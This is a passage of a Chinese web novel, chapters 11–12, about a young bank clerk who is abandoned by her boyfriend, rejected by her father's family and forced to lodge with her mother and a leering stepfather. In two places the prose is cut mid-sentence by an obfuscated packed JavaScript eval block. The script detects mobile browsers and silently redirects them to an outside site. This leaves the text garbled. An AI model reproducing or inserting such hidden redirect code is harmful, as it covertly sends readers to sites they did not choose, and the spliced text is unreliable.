“他们是刚下车。”何元聪突然回了这样一句,他刚趁着空隙瞄了一眼便认出来了,不久前他才见过的,母子俩,一红一蓝,还有一只怪兽书包。 他没解释为什么会知道,只是专注离开这个路口,之后将车开得有些快,在不多的车辆间穿插超越,像逃跑一样。 “云都啊,哪一天可以没有罪恶?” 何元聪心里像堵了块石头,官员们轮番在这个国际都市的最高舞台上慷慨激昂地讲演,却没有人真正解决了脚下的罪恶,甚至踩着无数人命说要珍惜还活着的人。 若犯罪的代价巨大,云都还会这么乱吗? 月牙深有同感,手在男友腿上轻拍几下:“是啊,杀人偿命,天经地义。” 广播早被关掉,车窗还是开着,风吹过年轻男女的脸,仿佛只一瞬间,天就黑了。 . 云都正式进入黑夜,霓虹灯光照彻天际。 即便是在包容万象的云都,有些欲望也只能释放于暗夜。 好不容易来的一阵风抚过干燥地面,又分裂成无数股,路过城市每个边边角角,见证男男女女情爱嗔痴,不分天堂地狱市井朱门,它哪里都能去。 酒会富丽堂皇觥筹交错,酒吧聚众狂欢解放自我,精致名贵的瓷器银具搭配天南地北的顶级食材,油污难除的气灶炭火烧出带着锅气的平价美食,人们张嘴,或交际或饮酒或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这一笑,是脆弱的天真的自然的,仿若在等待怜惜的美,男同事一愣,突然将早餐放到她桌上:“你先吃吧。”说完反应过来扭头四望,见没人注意后才溜达回自己那。 月牙小小的惊讶了一下,但她几乎立刻适应了这种微妙来回,冲人笑了笑无声说了句:“谢谢。” 等电视晨会一结束,女同事则委婉得多:“你今天没事吧?是不是哪里不舒服?” 月牙出了名的注意形象,不像她们一身绝望的班味。 制服是轻易不洗的,洗了也不过是干净点的咸菜团,皱皱巴巴套在身上,搭配敷衍或者确实化不好的妆容,得过且过地当着金融民工,下了班放了假才会变装做自己。 月牙确实不同,她哪怕是在小饭店端盘子,也有当上收银和领班这样一步一步高升的野心,更何况外人眼中本就该体面光鲜的银行呢? “只是没化妆啦,而且没睡好,做了一晚上噩梦,就记得很可怕又想不起来,就变这样啦。”她边走边俏皮解释几句后,利用了最后十五分钟,在九点开门前,完成了刷牙和妆发的打理。 新的一天又开始了。 这一天异常的忙碌,所幸还算值得,月牙成功售出了两份保险,边上眼睁睁看着的同事笑着庆贺,说了好多遍“月牙你好厉害!”,夸到最后,语调都变得不对味起来。 谁能不酸呢?柜员实在很难开单,任务是不重没错,但他们自己买家人买亲戚买已经要将人脉耗光,只能想办法捕捉野生客户,可都说是野生的了,身手普通的她们根本抓不住。 月牙只当自己感知不到,身心疲累的她午休时看了看手机,没有新讯息,哼,她主动发了个气鼓鼓的表情包后便立刻补觉,再到下班时,月牙站在空荡荡的银行门外,看着还是毫无动静的手机,皱起了眉头。 “他已经开始忙昨天说的项目了吗……连周末都要加班,那么今天没有空发讯息,忙忘了说一声不来接,也可以理解吧!” 月牙向来懂得何时该紧何时该松,又要怎么适当地表达委屈,可这不代表她的心胸当真开阔。 她其实有着非常强烈的占有欲、控制欲,但她永远可以在内心秩序混乱下尽快调整好心态。 她坐上不远处的公交,转车两次共计四十分钟后,她到了家楼下。 在东城区算是中档的公寓楼下,她较劲般再次翻开手机,盯着微讯的聊天界面上“老公”二字,上下来回地翻看截止到昨日下午的对话记录,直到眼睛发酸这才开始编辑。 打了删删了打,最终她说:“老公,你今天是不是很忙呀?一条讯息都没空发我,也没有来接我(难过哭哭),哼,我是理解啦,我也很乖,自己回家了!但是我不等你哦(嘟嘴)我吃完就睡(哼)~~~” 发送出去后,月牙冷着脸,进公寓上电梯,掏出了家门钥匙。 打开门,走进去,踢掉鞋,抬起头,里面空荡又狼藉。 包包滑落在地,月牙捂着嘴瞪大眼,难以置信地看着被洗劫了一般的家,不明白这是发生了什么…… 11. 何处为家 何元聪消失了。 没有只言片语的交代,在平平无奇的一个工作日,他带走所有个人物品和他买的一些公用物品,与月牙做了无情彻底的切割。 月牙去了男友公司,对方领导气愤抱怨说他辞职了实在不负责任,打遍男友几个朋友的电话,也都说联系不到,除此之外,月牙再想不到任何其它联系方式。 手机关机,微讯不回,遍寻不见,人间蒸发。 分手可见人品,何元聪确实不负责任,而原来她根本就不了解他,哪怕他们日夜拥抱亲密相处。 坐在富丽堂皇的欧式客厅里,下班后培训了一个小时,又坐了一个多小时地铁公交才到父亲家的月牙悄悄走神着,不明白为什么会这样。 “你那个互联网上班的男朋友,什么时候带回家见一见啊?要我说,当初你回来时就该多跟小张接触接触,说不定现在小孩都有了,恋爱谈久了没名堂的!还是自家知根知底的好……” 大姑突然起了个话头,连珠炮地说了好一段,所有原本围着孩子转的人齐齐看向月牙。 哦,小张是月牙爸爸的司机,平时也会帮忙家里办一些杂事,月牙至今想不明白全家当初想要撮合她和司机的心理,是太看不起她呢,还是太看得起小张了?不过小张如今早已娶妻,妻子一年一胎已经连生了两个了,大家都说他们是幸福的小家庭。 世界真可怕,大姑的声音也很可怕,像道道催命符追过来,月牙瞬间无法呼吸,她渴求被关注,又恐惧被关注,于是她下意识逃避,谎话张口就来:“他最近忙,过段时间吧。” 抱着一岁多弟弟的爸爸点了点头:“听你之前说的,确实是个青年才俊,你要抓紧,现在社会,竞争非常激烈,好男孩都让别人早早抢走了——哦,哈哈哈,爸爸头发好玩啊?不玩好不好啊,看看看看,小家伙还笑呢!” “哎哟真的是!小宝喊奶奶,奶奶。” “咯咯咯,奶!” “哇,说得真好,跟姑姑学,姑姑,姑姑,姑姑……” 孩子也挺累的,会喊爸爸妈妈后,爷爷奶奶叔叔婶婶,大姑二姑小姑都排着队等。 人类逗弄婴孩,有时跟逗猫逗狗逗鸟也没什么区别,都是真心喜爱,都是弹舌头或者嘬嘬嘬,都是能养就养遇到抉择也可以丢弃。 月牙微笑看着,人群中心的阿姨——爸爸的第三任老婆,只比月牙大一岁的“阿姨”看见孤立在众人之外的月牙,自然又大声地插话道:“对哦,今天姐姐回来了,小宝有没有叫姐姐啊,叫姐姐姐姐!” “啊,节?节节?” “小宝好棒呀,姐姐看喏,小宝多高兴,多喜欢姐姐嘞!” 笑容保持得太久,因为突然变成重要配角,本想暗暗放松下面部肌肉的时机便错过了,她僵硬着应和:“姐姐也喜欢小宝呀~” 下一句该说什么了?她疯狂转动脑子寻找话题,却是一片空白。 工作上能说会道令人愉悦的月牙,在此刻陷入表达无能的困境,所幸对面的阿姨也并非真心要继续下去,月牙猜她也一样,时常会觉得不知怎么和这个同龄段的继女相处吧。 但两人地位又是不同的,当初因为阿姨在父亲那闹过一通,月牙差点不能回来,最终是爸爸同意诸多条件后,对方才总算妥协点头的。 她回自己的家,竟像一条狗渴望骨头一样,明明是理所当然,却要摇头摆尾摇尾乞怜,直至上面“慈悲”松手才可以得到。 月牙不明白,既然如此,这个男人这个家族为什么要找她回来?阿姨若为难伤心成那般,为什么要当人后妈?又为什么一个卖服装的年轻女孩要爱上大自己至少两轮,且有了两个女儿外头还丢了一个的已婚男人,并在他离婚之后迅速嫁了呢? 月牙讨厌她,更加恨自己的父亲,他们都当自己是傻子,或者也没有,只是不在乎吧。 她不可以住进别墅,她不可以拿到钱或任何固定资产,她只能够拥有一个本来靠自己也能进的工作和最初三个月包括八百房租的两千生活费,还有过年时收个红包,收到后就必须坐上麻将桌,硬着头皮努力打还是加倍地输了出去。 这可是云都啊!她很长一段时间都在住地下室,他们一定知道但谁都选择性地遗忘跳过了这件事。 奶奶甚至在私下拍拍她的手掌这样说过:“孩子,你从此就有了家人啊。” 没了,竟然没了,不是说当初丢了她很后悔?不是说找到她欢迎她回家是要好好补偿?她明明带来了好运给这个家不是吗?——他新婚的小妻子很快怀孕,并在验血后确认为男孩,他梦寐以求数十年不得的男孩啊。 啊,或许这就是找她回来的原因吧。 女孩,是用来引出男孩的。 偏偏她就上当了。 在这样闹哄哄的氛围里,胡乱想着的月牙突然就发现了真相,好像一个工具人猛然揭开了透明但存在的那层纱,再也不能骗自己其实过得还好了。 太阳穴针扎般痛,心脏跟着一缩,接着迅速沉溺下去,无法呼吸!情绪影响着肢体,她无比的想要发疯,但是她一如既往地克制住了。 她能怎么办呢? 自养母去世,月牙在这大得可怕的世界里举目无亲茫然无措,没了胆气软了骨头,只能幻想依靠别人,不论家人或爱人,只要让她能够有个家,有个普通正常的未来。 可是好难啊! 好难啊,她此刻只能笑,为了不显得假,她还至少切换了三种不同笑容,空调风轻柔适当地扫过她半边身,她却身体发热手心出汗坐立难安,但一切都只是她觉得。 大姑用一双利眼,打量着月牙丝毫未动的坐姿,虚伪僵硬的笑容,她很是不满的以为自己动作很轻地摇了摇头。 岂止坐姿不变,月牙的脚尖自始自终朝向大门,手臂多数抱在腹部,偶尔抱胸,会交叉手臂抚摸肩膀身体,她的肢体语言充分表达了她不安并想要逃离的内心。 不说闯荡商场的一帮老江湖,就连小姑家爱看网文的高中生弟弟,暗自上下打量了这位没私下相处过的姐姐后,都准确得出了结论。 每个人都在忽视月牙的内心感受,又解读着她明面上的言行举止。 月牙还在笑,心里却在喊: “够了够了够了!不要再逼我了!!!” “没人逼你,这些都是你自找的,你明明可以不回来的,不是吗???” 天人交战不断,绷紧的弦断在哪呢? 阿姨不知道哪来的兴致,还是她也有没话找话的交际困难时刻,她站起身说:“哎呀,赵姐应该准备差不多了,今天我来做个刚学的大菜,诶?姐姐来抱我们小宝吧?” 她直接塞了孩子过去,却没料到月牙没有及时做出接抱的动作,导致孩子晃了晃就要从月牙腿上摔下来,她吓得赶紧接住儿子,膝盖一下磕到侧边茶几角上,于是紧跟着痛叫出声,孩子也被吓哭,客厅一时间混乱起来。 月牙在乡下时,煤球炉上的开水每每烧开,总会发出老式火车呜呜叫的声音,大水壶上的圆盖子被沸水顶得颤抖,若不及时提起,那橡胶把手就会很烫很烫,她曾下意识脱手,水壶打翻在地,庆幸的是那次开水没有溅到身上。 但那只是运气好罢了。 现在,水又开了,呜呜呜的,她应该必须立刻马上起身管一管这壶水。 但她好累,好累好累。 “你怎么回事?还在发呆!赶紧看看弟弟。”可那么多人围着,着急着,还要她看吗?哦,她是罪魁祸首。 “大家高高兴兴聚餐,你挂张脸干什么,这是你弟弟诶!我们对你还不好吗?你的心怎么捂不暖的?”大姑自觉忍无可忍,当真痛心疾首。 “哎……别说了别说了,小宝没事,我擦个药就行,她不喜欢弟弟就算了,哎……”阿姨抱着儿子,母子俩俱是可怜兮兮的。 “那怎么行,你这样不行的……” “你,你!你你你你你你你你你!!!!!” 月牙穿过人群,看向接过弟弟的爸爸,他沉着脸垂着头,只专心低声哄着儿子,他看起来不像大老板,就是个普通的老父亲罢了。 月牙终于摔了“水壶”,一次性杯子带着半杯纯净水砸在地上,软软的没有任何声音,实在不够有气势,可她被烫到了,再也忍不了了啊。 她眼眶含泪张了张嘴,像爆发的火山,无数怨愤恨意指责伤心立刻要喷涌而出—— ——啪! “你还来劲了?我知道你性格有缺陷,但这不是你伤害家人的理由……” 脸上火辣辣的,父亲的指责在一阵耳鸣之中若隐若现,月牙只大概听清这一句,还说什么呢?话要讲给愿意听能听懂的人,她夺门而出,决定从此不再踏足。 . 明明是间小公寓,因为东西的骤然减少,因为爱人的突然离去,竟变得空旷如荒野。 月牙躺在木地板上,没有再想为什么,所有抛弃她的人,编出万千理由到最后,也不过是因为不爱她。 “叮。” 手机来了信息,月牙打开发现是条快递信息,大意为物品昂贵需要当面签收,请点开信息中的链接选择明日的配送时间,她坐起身,突然想到什么,她打开淘物。 原来何元聪离开前,真的清空了她的购物车。 她的购物车里只放了一件物品,一枚50分价值5万的钻石戒指,是她反复衡量挑选后故意放的,想要看何元聪点开准备付款时的表情反应,对月入几万的他来说,5万不能算贵,但钻戒代表的意义不一样。 戒指到了,可他走了。 是道歉是补偿,还是最后一点爱意呢? 月牙选择了配送时间,抱着手机怔愣片刻,躺回到地板上的时候,一滴泪跟着坠了下来。 夜深了,城市独有的喧嚣从地面或远方飘来剩着一点尾巴,最大只能打开一半的窗户外,空中悬挂着一弯月亮,正泛着莹莹一圈光芒。 养母捡到她的那天,那个本该无人走过的田野上空,就悬挂着这样一弯月亮,所以她叫月牙,没有姓,上门人口普查的人员便将月填在了姓那一栏。 月牙,注定是不圆满的。 她蜷缩起身体合上眼睛,就这样度过了公寓的最后一夜。 没有何元聪,她租不起这样好的公寓了。 她决定投奔短暂相处过的亲生母亲。 . 东城区的城中村内,拥挤不堪的狭窄商街上,月牙拿着两个大行李箱,身上挂满大包小袋,在人群中走得艰难。 说是商街,其实就是自建房房主们将一楼改造成铺面后或租或自用,若非高度有限制,更恨不得建成私人大厦,好在未来有拆迁一天时暴富到首富级别,其实到如今还没拆的,大概率拆不了也拆不起了,就连必要的改造都是遥遥无期。 这里房子乱水电乱交通乱人也乱,无数打工人如蝇虫般,密密麻麻附在这颗城市脓疮上,不是喜欢这里更乱更挤更破更臭,只是这里能使蝇虫生存,并期望总有一天能追上城市脚步。 最复杂是人,最天真也是人。 月牙小心跨过地面横流的污水,忽视无数上下打量的目光,躲过旁边店家突然泼出的水,缩头避过肉铺里飞出的苍蝇,谢过帮她稳了一把歪跑的行李箱的路人,也努力不撞到别人,却被一些男人从后面刻意撞来,倒打一耙怪她:“让一让啊,走那么慢!” 等她终于看到《吴芳理发》的招牌时,已经发了满身的汗,黏在她特意穿得乖巧的衬衫小西裤上,她看着店里忙碌的理发场景,莫名庆幸自己没有留刘海,不然此刻就会像湿漉漉的黑泥条,非得剪去才能痛快。 她思绪乱飞着,潜意识不敢面对母亲,少有的几次见面对方都还算热情,但她其实清楚,对方除了生过一个她,并未真正当过妈妈,妈妈的爱,需要日日夜夜的喂养照顾挂念着急才能成型。 但月牙想,怎么都会比爸爸好吧?只要自己别贪心,对,别贪心! 店内,吴芳梳了个低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738995|157447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马尾,发顶黑发尾黄,穿着白色短袖蝙蝠衫加黑色短裤,配着红底小绿花的紧身打底裤袜,脚蹬一双白色松糕鞋,她化着浓妆,说话间时不时笑几声,眉间疲惫和郁气这时就会淡去,可卡着粉的细纹干纹又被放大了。 这只是吴芳很平常的一天,直到她似有感应般,扭头越过边上小心给客人剪头发的学徒工一看,手下客人惊呼:“哎呦痛痛痛,芳妹子,盘个头发也不要抓那么紧啊,头皮都要给你逮掉了哦!” “不好意思不好意思,李姐我轻点!” 吴芳心里很乱,也没有招呼一声,这个样子上门来能有什么好事?她现在就盼望月牙什么都别说,等八卦的李大姐走了,不,阿豪也不在时再讲。 都说李大姐八卦了,当然有着对八卦敏锐的第六感,她不好转头,就拼命斜眼睛用余光看出去,可惜只能看到隔壁为止,她就问:“芳妹子,这是找你的客人哦?” 她看不见具体情形,说完紧接着喊:“理发进来呀,我马上就好的,进来嘛!” 月牙刚刚匀完气息,将大小包行李全弄进店里,对镜子里的李大姐笑笑:“我找吴阿姨短租房子的,今天周末就搬行李来了。”短字用上了重音。 吴芳手一顿,面对李大姐哎呦的惊讶目光,她笑笑: “你也知道,老陈儿子上大学去了,云都大学城什么消费啦?贵得要命用钱很大,家里三个房间么,就收拾一个租出去,这年头赚钱难哦,我们难小姑娘也难,不然你说租到城中村就算了,还租我家的干啥,又不是什么好房子,你说是吧?李姐你家除外啊,一栋楼在那呢又那么好的装修搞起来,还比别家的便宜,谁租到你家房子真是走大运哦。” 吴芳又急又长的一串话,打乱了李大姐所有节奏,她张张嘴,只记得最后一句话,又转转眼珠想说:“我家有房子多啊!”最后还是撇撇嘴算了。 小姑娘来找房子的时候,就商街路口那八层楼,还有门口那么大红纸写的出租——短租长租可一月一付,她怎么就看不见呢? “我也是看现在的小年轻不容易,外头几千块就一个鸟窝那么大的房间,你说说,工资才有多少啦?外面人都不懂,我跟你讲,什么医院银行互联网这种,其实工资有的还没正常一间小公寓的房租高,不要看新闻讲什么平均工资,那都是给上头的平均成这么高的,喏?我儿子就管着公租房那块,跟我讲了好多的,多少年轻人排队资格都没有,廉租房的条件么更加达不到喽……” 月牙坐到门边,看着门外人流百态,默默听着李大姐爬坡般逐渐激昂的讲话。 她就是工资五千块,偶尔才有点业务提成,租不起房更买不起房,又因为工作在世俗意义上的体面,所以不想不愿不能过得太灰头土脸的,无能无力的年轻人,她甚至还虚荣,负担便更重了。 没办法,她总得抓住点什么来提气,此刻月牙紧紧抓着包包袋子想,暂时穷点不怕的,但泄气认命躺下随便过过,她宁愿死。 兼职不现实也不允许,也不方便在自媒体露面,最初想靠父亲,后来找了男友,如今全都靠不住了,月牙只能寄希望于赚外快,她坐在小小的凌乱中有序的理发店,想了很久都想不到。 她垂头丧气:原来我什么都不会,什么都不是。 “你不会你理什么头发啊?我要的是空气刘海,空气刘海懂吗?你给我弄个那么厚的!” 女声打断了月牙,靠门的年轻客人不顾碎头发乱飞,从转椅上爆发而起,这位客人其实早就有不好的预感,但总想着还没好呢是自己不懂吧,直到被吹干这一刻发现预感成真,纵是脸皮再薄也忍不了了。 叫阿豪的年轻人,一头黄毛,细狗身材秀气面庞,穿着小脚裤修身t,有一点托尼老师的风格,却没有半点托尼老师的伶牙俐齿,反而手足无措站在原地,面对质问半天应不声来。 李大姐除了自己的事过不去,劝谁都是要大度,要看得开,要平心静气,这会一个她僵着盘了一半的头叽叽喳喳劝,一个吴芳走过去指着墙上洗发水模特海报,拼命夸这个发型才是真正好看流行,说半天,没有对不起并且30块洗剪吹的钱照收。 女孩说不过又气不过,只能愤愤地扫了码,一只脚跨出门了才侧身抛下一句:“什么人嘛,再也不会来了!”都说不好到底是自言自语还是在放狠话。 月牙看着女孩出去,看着阿豪垂头吹椅子扫地,看着李大姐和吴芳你一句我一句地教阿豪做事: “胆子要大嘴巴要张开,做事要细不懂就多问多学,你老爸想你学门技术养活自己,都想得哭哦,阿豪,男孩子就是要成家立业,再不行,两样也总要有一个成的,你跟有些比,都算条件很好了……” 月牙目光中带着好奇,看着那个叫阿豪的男孩子。 阿豪不说话,但他显然也没有生气,抓着扫把的手,还是松松的从容的,偶尔还抬头朝说得起劲的两位阿姨腼腆笑笑,他做事慢条斯理到都有些迟钝了。 月牙很快便发现,穿着小脚紧身裤的阿豪是个跛子,不论动作如何慢,那左右高低不平的身体起伏,是藏不了的。 扫到月牙时,阿豪迅速掀起眼皮看了一眼,对抬脚的月牙说了很轻很轻一声谢谢,他很快扫完转身,想到她因抬脚而挺起的上身,在衣领间一闪而过的那节锁骨……藏在干枯毛躁黄头发里的耳朵整个红了起来。 阿豪收拾完椅子地面,又去洗头椅那边忙活,李大姐的头发也终于盘好,被无数定型喷剂高高固定在头顶,她满意起身,给了张20元的现金,吴芳笑着接过,也不提如今早就不是这个价了,客客气气送人出去。 再转过身,吴芳笑容变淡,最后剩下一点挂在嘴角,似笑非笑对月牙道:“我们走吧。” “阿豪,你看店啊!我很快回来。” 阿豪默默点头,倚着扫把柄立在门边,看着两人越走越远,看见她们一直没有说话,芳姨也没有帮租客拿点行李的意思。 那个女孩在拥挤的人群里,走得有些艰难。 12. 不得安宁 天越来越热了。 唇周起了一层汗珠,很痒,但月牙腾不出手擦。 商街上有许多小路口,吴芳带着提着部分行李的月牙钻进了右手边的一个路口,过迷宫般,两人绕到了理发店后面那条路,从这起继续七弯八拐的,好一会后,两人才终于到了目的地。 月牙气喘吁吁打量周遭,吴芳终于肯停下来让她缓口气。 这是城中村早年自建的几栋商品房,继父分家出来后就买了一层,到如今,房子陈旧设施老化,楼外一些边边角角更是丢弃着各种垃圾,几只野猫飞窜过去,很快响起刺耳的呜嗷叫声。 正此时,昏暗的楼道中有人影慢腾腾出来,直至露出一张眼熟的面孔,月牙站直了身体,巧了,这人正是吴芳的丈夫陈自强。 “叔叔您好,原来的房子房东要卖,我这一下子也找不到合适的,就想暂时借住一段时间,您看可以吗?若是不方便,那让我放个行李也行。”月牙在吴芳开口前先开口道。 她不可能真的花钱短租,心中一边觉得自己这样很厚脸皮,一边又觉得住自己妈妈家谈什么钱?这种纠结矛盾拧巴的心理,已经折磨她好几年了,最后她想,若对方就是不走寻常路,非要来个“确实不方便”之类的,那就再另想办法好了。 安静的几秒内,吴芳看她一眼,矮个貌平大肚腩的苍老男人则扫过她手中的行李:“呵呵,行啊,当然可以的,正好陪陪你妈,住多久都行。” “来,叔帮你提行李,这没有电梯小姑娘提不动。”陈自强热情得几乎是从月牙手下夺过了行李箱,龇牙咧嘴使劲半天,也只将行李箱抬高了几公分而已。 月牙对继父的体虚算是有了深刻印象,她接回行李:“叔,我自己来吧,您不是要出门?您先去忙吧。” 陈自强便晃晃胳膊夸了句:“还是年轻好啊。”接着背手悠哉远去。 他日常靠帮人拉货赚点烟酒钱,所以时间自由过得潇洒,至于养儿子养家?有吴芳呢,她一个离过婚的女人,还没能给陈家再生一个,那么这些便是她应当受着的,吴芳也不觉委屈,反而时常对人得意她男人至少不赌不嫖,真的假的月牙便不知了。 月牙扛着行李到了三楼,两手空空的吴芳开门后往沙发一坐,尽量缓和语气:“好了,你说说,出什么事啦?” 月牙笑:“和池家闹翻啦,和男朋友分手了,没办法,先求您帮帮忙了,等宽裕些了我就租出去住。” 又不是第一天上班,现在不宽裕,以后怎么又能宽裕呢? 这种话只能听听,除非她嫁个条件好的,但是这个能分,下一个就未必能成,人生走过大半,吴芳认识到一个真理,除去一万个里也出不了一个的天才不算,这世上,失败的人总是失败,倒霉的人永远倒霉,而有点聪明的人…总是自作聪明。 吴芳沉默一会后叹气道: “我们母女都是命苦……” “那你自己收拾房间吧,就大门边那个,隔壁你哥的别去动,虽然他基本不回来,但他脾气大得要死,我这个后妈难做,怎么都是错……” “你自己去店里搬剩下的行李,正好来回记记路,你妈我身子差干不了重活,店里那小年轻阿豪又是个瘸腿的,也不好使唤他,人家老爸在村里可有一栋楼,家里有人还是当官的……” “好了我不说了,赶紧要去店里了,这把钥匙给你,等下来店里前先在商业街配一把,你去了一找就能看见!” 月牙目送她出去,转身打开门边那小房间,看着里面各种各样的杂物和厚厚灰尘,缓缓吐出一口气。 已经很好了,很好很好了。 本来想着,当真走投无路的话,地下室该住她也得住。 当年从乡下送走养母再来云都后,在和前男友同居之前的很长一段时间里,因为要尽可能的省钱买化妆品新衣服,她连城中村的房子都租不起,只能住在某片地下室出租房里,唯一的好处是通勤时间不长。 那里混乱无序鱼龙混杂,环境阴暗潮湿公厕肮脏恶臭,夏天炎热冬天寒冷,回南天更是叫人绝望,那些空气里飘荡的霉点臭味浊气,还会渗进每个租客骨髓血液里,染上永远洗不掉的味道——穷苦味。 即便这样,穷人们也要怀抱着翻身的希望继续奋斗下去。他们就像是住在下水管道里的蟑螂,为了觅食勤勤恳恳从肮脏地下爬出来闯荡,可能吃饱,也可能就被踩死了。 月牙扶着门框回忆了一会过往,还走神想了想,为什么她的同事她后来所有见过的人,都不会有她这样的窘迫困境? 一样的工资一样的花销,区别只在有爸妈和没有爸妈吗?她不想内耗,却也不得不怀疑,是不是问题全出在她自己本身?是不是因为她竟然胆敢以为父亲家是富有的,便认为自己也应该回归进入那个圈层?明明就不配啊,连最平凡的日子都不配! 负面情绪如山一般压下来,每次调整心态努力乐观时,都会这样拉扯她一下,不知道哪次就会成功将她拉进地狱。 呼——月牙闭了闭眼。 开始吧,做家务使人平静。 . 可是吧,做太多家务使人崩溃。 不知道何时起?这整套房子每个角落的卫生,都成了月牙的任务,且还不止。 是吴芳敲着站了一天的腿说:“哎呀,今天真的累坏了,月牙你会做饭吧?妈也尝尝你手艺,女孩子哦,可以不做但一定要会的。” 她难得自称妈,不像平日都是避免称呼,有事说事,月牙便做了,像和男友同居时一样,做得非常用心,太过用心了,将碗都洗掉了。 是继父陈自强周末大中午喝醉回来喊: “吴芳,吴芳!饭呢?想饿死我啊!妈的,这女人现在中午也不回来了,哎哟月牙啊,你这是刚睡醒啊?好好女孩子就是要多睡睡的,美容觉嘛,我懂的,那个帮叔买个饭吧?手机不是能定?呵呵我还从来没定过呢,叔给你转钱!呕——”月牙只能又买饭又洗地。 是吴芳和人打麻将,电话给她去店里盯着阿豪关店,到后来要她下班做饭,周末做饭并送饭,口头上没了客气,反而愈加刻薄,并伴随着讽刺打压。 世人都说只有妈妈好,没说妈妈是人还有病。 继父更非慈祥叔叔,随着天时进入盛夏,整个云都像个大火炉,他待在家的时间逐渐变多,却不答应开空调,电风扇焦躁转着吹出燥热的风,热到满身汗穿着正常背心运动短裤出来上卫生间的月牙,感受到了继父落在她全身上下的粘腻视线。 更可怕的是,继父也许还跟踪了她,她试着突然回头堵过,可惜皆是失败,只有普通路过的人而已,路人还奇怪地看着她,大概她才是那个看起来神经质的人吧。 这不对,一切都不对,温水煮青蛙到现在,她已经从庆幸有地方落脚,变成了时不时的窒息和逐渐加深的后悔。 两个月过去,月牙能从失恋的痛苦中走出来,不得不说与这些困境煎熬有极大关系。 当然也和阿豪有关系。 这个清秀的带着土气的年轻男孩,会在她来关店后提出送她回去,哪怕她拒绝仍旧默默跟着。 他高低起伏不平的影子在月光下会被拉得长长的,像一株努力长高的白杨树,高了本来独自飘荡的月牙一头,夜路就显得没那么难走了,月牙到底是回头招招手,白杨树并行过来,自此便成了惯例。 迷宫一般的阴暗巷弄里,两人或是静静走着,或是月牙问他便答,或是月牙自顾自倾诉着烦恼,业务不好做了,有老男人搭讪她,真的很想做兼职啊,阿豪默默听着,有一天回到家,月牙就发现自己包里多了一沓钱。 粉红的簇新的泛着油墨香气的钱啊,她多么想收下,可还是在次日夜里默默递还给了阿豪:“你也不容易,自己存着吧,以后给老婆花。”月牙背手笑着,她当不了那个老婆,所以她不能收,她还不起。 阿豪很着急想要表达,这只是借她的,将来慢慢还,他强调,他很有钱,月牙真的差点被诱惑,到底是咬牙想再扛一扛,真的要钱,她还有一枚藏在箱子底的钻戒呢。 两人有时候也会吃宵夜,阿豪很少问,可能是了解女孩怕胖,但只要他问,月牙大都确实有些饿了,两人便会沿着商业街挑选宵夜,月牙会迁就阿豪想要走慢一点的心思,阿豪也会强忍异样目光,昂头挺胸与她并肩,介绍说哪一家料好哪一家新开的不错。 慢慢的,月牙知道了许多阿豪的事情。 他读书不好早早辍学,做过很多工作学过几门手艺,结局都不如人意,学厨他不能久站也颠不动勺,送快递外卖又吃不消爬楼,也试过开滴滴但他不喜欢这样被闷着,而且脚下反应也不够快,最终被他爸托给了同村陈自强老婆开的那家理发店里。 “不用久站,甚至可以坐着搞工作,学会了以后自己开家好点的理发店,爸看了,几百块剪个头发,更加不要说烫啊染啊,那你这业就立住了,等你再娶个好的老婆进门,给爸生个孙子……” 传宗接代同样也是阿豪爸爸的人生追求,后面小老婆生出来的不是他的种,于是才将阿豪从前妻那接回来。 “这世上,有些人就是这样,没有儿子宁愿死。” 这话是阿豪说的,当时他吸溜了一口土豆粉,很自然就说出来了,脸上第一次出现类似不屑这样的情绪,也是唯一一次,很快又恢复平和。 阿豪几乎什么都和她说,他看起来实在不是当托尼的好苗子,却意外的是个很单纯干净的男孩子,外表只是他审美不够只能随大流将就而已,他的内在比月牙干净高尚完整,月牙才是真正残缺的那个人。 【我喜欢在空旷的、自由的、最好无人的地方,或跑、或跳、或摔倒后睡着,怎样都好。】 他还会发这样的朋友圈,深夜刷到的月牙莫名觉得,这是仅她可见的,因为别人接受不了,一个外表普通甚至残缺的人,竟然有心力搞文艺弄矫情,简直有病,而阿豪清楚知道这一点。 阿豪喜欢月牙,喜欢的那么小心又那么明显。 哪怕月牙不会接受阿豪,却也因此有了重振旗鼓的自信。 失恋的解决办法是再恋。 她的同事们很愿意帮这个忙,单身的年轻女孩优秀男孩本身就是一种资源,介绍出去就是一个人情,要是哪对成了,那更是利人利己功德无量了,何况月牙条件不错,听说爸爸是生意人,自己工作也体面,长得漂亮,年轻热情,服务周到,永远妆容精致不见倦怠。 聚餐时,这些夸捧的词堆到跟前,月牙的虚荣心经不住有些膨胀,不过她还是客气婉拒了,包括微讯里暗示想要亲自上阵慰藉她一段时间的男同事——那个只是送了她一次早餐的已婚男同事,但她心中已经决定要放下何元聪,重新开始。 等从中心区五马街尽头万象城的餐厅出来,坐上地铁转了两趟回到家中,见到老旧的楼房,走进凌乱的套间,被沙发上不高兴她晚归而拉张脸的母亲,总是抚摸肚腩笑得猥琐的继父齐齐盯着的时候。 月牙脑海里便只剩下根刺眼的长针,长针如戳破气球一样,戳破了她的膨胀,疼得她立时清醒,不再自我感觉良好。 工作看着体面其实月入才5000上下,体面的房子租不起,又不肯住回脏乱逼仄的小间去,如今只能寄人篱下,男友体贴深情结果离她而去毫无交代,看着皮囊尚可,内里却废墟一片满是疮痍,所谓有钱的爸爸,其实根本不要她。 从她那次离开到现在,整个家族,没有一个人联系过她,其实就算给了台阶又如何?他们不给爱也不给钱,甚至连一个姓都懒得给,嫌手续麻烦。 月牙困在她的世界里,哪还管什么失恋不失恋,她有时难得回忆起何元聪,甚至觉得他面目模糊,像是她所有过往一样,蒙了尘裹了纱已经看不清楚。 